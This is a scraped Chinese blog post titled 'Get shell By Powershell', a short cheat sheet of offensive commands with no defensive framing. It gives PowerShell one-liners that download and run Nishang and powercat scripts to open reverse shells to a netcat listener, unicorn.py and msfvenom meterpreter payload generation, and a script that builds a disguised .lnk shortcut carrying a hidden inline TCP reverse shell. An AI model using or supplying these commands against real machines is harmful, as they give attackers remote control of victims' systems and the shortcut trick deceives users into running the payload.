zoukankan      html  css  js  c++  java
  • Get shell By Powershell

    Invoke-PowerShellTcp.ps1

    监听主机:nc -nv -l -p 9999

    powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp  -Reverse -IPAddress 监听主机ip -Port 9999"

     

    powercat.ps1

    监听主机:nc -nv -l -p 9999

    powershell -nop -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 监听主机ip  -p 9999 -e cmd.exe"

     

    unicorn.py

    Eg:python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443

    msf生成powershell

     msfvenom  -p   windows/x64/meterpreter/reverse_tcp  LHOST=xxxx   LPORT=xxx  -f  psh-reflection> shell.ps1

    生成快捷方式shell的Powershell脚本

    $WshShell = New-Object -comObject WScript.Shell
    $Shortcut = $WshShell.CreateShortcut("c:lnk_testspayload.lnk")
    $Shortcut.TargetPath = "%SystemRoot%system32WindowsPowerShellv1.0powershell.exe"
    $Shortcut.IconLocation = "%SystemRoot%System32Shell32.dll,21"
    $Shortcut.Arguments = '-windowstyle hidden /c $client = New-Object System.Net.Sockets.TCPClient("""192.168.1.10""",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + """PS """ + (pwd).Path + """> """;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
    $Shortcut.Save()

     

  • 相关阅读:
    项目管理系列(其他):国际工程承包项目风险识别与分析
    公司注册之简化版
    公司注册之百度百科
    有效投标不足三家不应是重新招标的必要条件
    CPU频率
    集成电路
    晶体管
    Oracle问题之ORA-01609、ORA-00362
    Oracle问题之ORA-12560TNS:协议适配器错误
    Oracle问题之字符集问题,登陆sqlplus出现问号
  • 原文地址:https://www.cnblogs.com/ssooking/p/6360285.html
Copyright © 2011-2022 走看看